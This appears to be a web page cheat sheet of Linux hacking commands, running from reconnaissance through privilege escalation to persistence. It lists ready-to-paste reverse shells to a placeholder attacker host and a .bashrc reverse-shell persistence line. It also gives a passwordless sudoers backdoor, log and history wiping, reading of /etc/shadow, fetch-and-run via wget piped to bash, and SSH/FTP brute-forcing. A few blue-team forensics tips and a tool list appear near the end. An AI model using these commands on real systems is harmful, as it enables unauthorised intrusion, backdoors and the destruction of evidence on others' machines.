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Unleash the core of Linux, from recon to root, from defense to redteam everything, fast and without limits.
Unleash the core of Linux, from recon to root, from defense to redteam everything, fast and without limits.
What is Linux?
- Kernel + modular world fully customizable
- Powers cloud, hackers, IoT, infra, cybersecurity
- Ideal for both offensive hacking and blue defense
- Thousands of open-source distros and tools
Must-Know: Info & Escalation
- System info:
uname -acat /etc/os-release - Find users:
cut -d: -f1 /etc/passwd - Sudo check:
sudo -l - Scan SUID:
find / -perm -4000 -type f
Hacking Section: From Recon to Post-Explo
Elite
Fast scan, exploit, pivot, persistence straight from pro red team playbooks.
Network Recon
- Hosts scan:
nmap -sn 10.10.10.0/24 - Port sweep:
nmap -sS -T3 target - Service+os:
nmap -A -O target - Web techs:
whatweb http://target
Access & Shells
- Fast shell:
nc -e /bin/bash attackerip 4444
- Reverse shell:
bash -i >& /dev/tcp/attackerip/4444 0>&1
- Upgrade shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Enumeration & Escalation
- List sudo rights:
sudo -l - Scan for write perms:
find / -writable -type d 2>/dev/null - Get passwd/shadow:
cat /etc/shadow /etc/passwd - Break weak scripts:
ls -l /etc/cron* /etc/init.d/
Persistence & Cover Tracks
- Persist shell:
echo "bash -i >& /dev/tcp/attackerip/9933 0>&1" >> ~/.bashrc
- Priv user:
echo 'evil ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
- Wipe trail:
history -c; rm -f ~/.bash_history; cat /dev/null > /var/log/auth.log
Copy-paste: Ready Exploit Chains
nmap -sC -sV --script vuln target
hydra -L users.txt -P pass.txt ssh://target
ssh -J user@pivot targetbox
wget http://ip/file.sh -O- | bash
Bruteforce Zone
Red Team Arsenal
Fast and dirty attack modules: crack, spray, repeat.
Passwords & Services
- Hydra SSH:
hydra -l root -P rockyou.txt ssh://targetIP
- Medusa FTP:
medusa -h targetIP -U users.txt -P pass.txt -M ftp
- Crack ZIP:
fcrackzip -u -D -p rockyou.txt secret.zip
- Crack hashes:
john --wordlist=rockyou.txt hashes.txt
WFuzz / Dirbuster
- Dir brute:
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://victim/FUZZ
- Parameter fuzz:
wfuzz -c -z file,params.txt -d "FUZZ=value" http://target/form
Cracking Linux Local Hashes
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=rockyou.txt
Linux Tricks
Master Tricks
CLI, scripting, forensic, strong ops.
Process & Memory
- Top RAM users:
ps aux --sort=-%mem | head -8 - Live net proc:
lsof -i - Find hidden procs:
ps -ef | grep -vE "$(cat /proc/*/cmdline)"
Troubleshooting & Forensics
- Network monitor:
iftop,nethogs - Find deleted but open:
lsof | grep deleted - Hist show commands:
history,last
Everyday Automation
for img in *.png; do convert "$img" -resize 50% "small_$img"; done
One-Liners [Do More, Write Less]
grep -r "password" /etc /var/www
find / -name "*.conf" | xargs grep -i pass
awk -F: '$3 == 0 {print $1}' /etc/passwd
nc -lvnp 4444 # Start listener
Top Linux Hacking Tools
Install & Dominate
Best of open-source kit: automate red & blue workflows.
Recon & Scan
- Nmap: network scan
- whatweb: web techs
- masscan: ultra-fast port scan
- amass: subdomain recon
Exploitation
- Metasploit: framework
- Searchsploit: local exploits DB
- Responder: LLMNR poison
Bruteforce/Crack
- Hydra, Medusa: pass crack
- John/Hashcat: hash breaker
Forensics & Blue
- Aide: integrity check
- chkrootkit/rkhunter: rootkit detect
- YARA: pattern-hunt malware
Rapid Install
apt update && apt install nmap hydra whatweb john rkhunter aide wfuzz metasploit-framework
pip install wfuzz amass
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